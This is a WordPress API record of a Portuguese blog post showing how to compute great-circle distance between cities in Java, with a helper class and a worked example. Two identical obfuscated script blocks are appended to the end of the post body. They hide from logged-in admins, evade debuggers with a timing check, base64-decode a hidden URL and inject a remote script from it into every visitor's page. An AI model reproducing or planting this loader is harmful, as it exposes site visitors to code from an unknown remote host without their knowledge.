{"id":195,"date":"2010-09-10T13:03:24","date_gmt":"2010-09-10T16:03:24","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=195"},"modified":"2025-10-26T22:44:04","modified_gmt":"2025-10-27T01:44:04","slug":"distancia-utilizando-coordenadas-geograficas-em-java","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/10\/distancia-utilizando-coordenadas-geograficas-em-java\/","title":{"rendered":"Dist\u00e2ncia utilizando coordenadas geogr\u00e1ficas em Java"},"content":{"rendered":"<p style=\"text-align: justify;\">Uma mo\u00e7a de Votuporanga me enviou um e-mail com d\u00favidas de como calcular dist\u00e2ncias em linha reta entre cidades em Java. Resolvi pesquisar sobre o assunto, j\u00e1 que o c\u00e1lculo de dist\u00e2ncia geogr\u00e1fica \u00e9 um pouco diferente da tradicional.<\/p>\n<p style=\"text-align: justify;\">D\u1ebd uma olhada nessa imagem retirada do site: http:\/\/caraipora.tripod.com\/calc_dist_entre_dois_pontos.htm. Nesse site tamb\u00e9m tem explica\u00e7\u00f5es de como calcular a dist\u00e2ncia.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_265\" aria-describedby=\"caption-attachment-265\" style=\"width: 295px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/dist_Rio_NY.gif\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-265 \" title=\"Dist Rio NY\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/dist_Rio_NY-295x300.gif\" alt=\"Dist Rio NY\" width=\"295\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/dist_Rio_NY-295x300.gif 295w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/dist_Rio_NY.gif 775w\" sizes=\"auto, (max-width: 295px) 100vw, 295px\" \/><\/a><figcaption id=\"caption-attachment-265\" class=\"wp-caption-text\">Dist\u00e2ncia Rio NY<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Fica claro que para calcularmos a dist\u00e2ncia entre dois pontos geogr\u00e1ficos n\u00e3o basta utilizarmos o c\u00e1lculo de dist\u00e2ncia convencional, pois n\u00e3o estamos levando em considera\u00e7\u00e3o a curvatura do planeta terra.<\/p>\n<p style=\"text-align: justify;\">Aqui tamb\u00e9m tem o c\u00e1lculo utilizando planilha de excel: <a title=\"C\u00e1lculo\" href=\"http:\/\/pasta1xls.blogspot.com\/2009\/05\/como-calcular-distancia-entre.html\" target=\"_self\" rel=\"noopener\">http:\/\/pasta1xls.blogspot.com\/2009\/05\/como-calcular-distancia-entre.html<\/a>. Resolvi fazer a migra\u00e7\u00e3o para c\u00f3digo java.<\/p>\n<p>[cc lang=\"java\"]\/\/ Convers\u00e3o de graus pra radianos das latitudes<br \/>\ndouble firstLatToRad = Math.toRadians(firstLatitude);<br \/>\ndouble secondLatToRad = Math.toRadians(secondLatitude);<\/p>\n<p>\/\/ Diferen\u00e7a das longitudes<br \/>\ndouble deltaLongitudeInRad = Math.toRadians(secondLongitude<br \/>\n- firstLongitude);<\/p>\n<p>\/\/ C\u00e1lcula da dist\u00e2ncia entre os pontos<br \/>\nreturn Math.acos(Math.cos(firstLatToRad) * Math.cos(secondLatToRad)<br \/>\n* Math.cos(deltaLongitudeInRad) + Math.sin(firstLatToRad)<br \/>\n* Math.sin(secondLatToRad))<br \/>\n* EARTH_RADIUS_KM;[\/cc]<\/p>\n<p style=\"text-align: justify;\">Fiz tamb\u00e9m uma classe auxiliar para facilitar a manipula\u00e7\u00e3o de coordenadas geogr\u00e1ficas. Dessa forma o c\u00f3digo para calcular a dist\u00e2ncia de S\u00e3o Jos\u00e9 do Rio Preto \u00e0 Votuporanga fica assim:<\/p>\n<p>[cc lang=\"java\"]GeoCoordinate saoJoseDoRioPreto = new GeoCoordinate(-20.81972,<br \/>\n-49.37944);<br \/>\nGeoCoordinate votuporanga = new GeoCoordinate(-20.42278, -49.97278);<br \/>\ndouble distancia = saoJoseDoRioPreto.distanceInKm(votuporanga);<\/p>\n<p>[\/cc]<\/p>\n<p>Qualquer d\u00favida \u00e9 s\u00f3 avisar. O c\u00f3digo fonte est\u00e1 dispon\u00edvel <a title=\"GeoUtilities\" href=\"http:\/\/www.thiagovespa.com.br\/apps\/geoutilities\/geoutilities-src.zip\" target=\"_blank\" rel=\"noopener\">aqui<\/a> junto com o <a title=\"Javadoc\" href=\"http:\/\/www.thiagovespa.com.br\/apps\/geoutilities\/\" target=\"_blank\" rel=\"noopener\">javadoc<\/a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uma mo\u00e7a de Votuporanga me enviou um e-mail com d\u00favidas de como calcular dist\u00e2ncias em linha reta entre cidades em Java. Resolvi pesquisar sobre o assunto, j\u00e1 que o c\u00e1lculo de dist\u00e2ncia geogr\u00e1fica \u00e9 um pouco diferente da tradicional. D\u1ebd <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/10\/distancia-utilizando-coordenadas-geograficas-em-java\/\">Continue lendo  <span class=\"screen-reader-text\">  Dist\u00e2ncia utilizando coordenadas geogr\u00e1ficas em Java<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-195","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}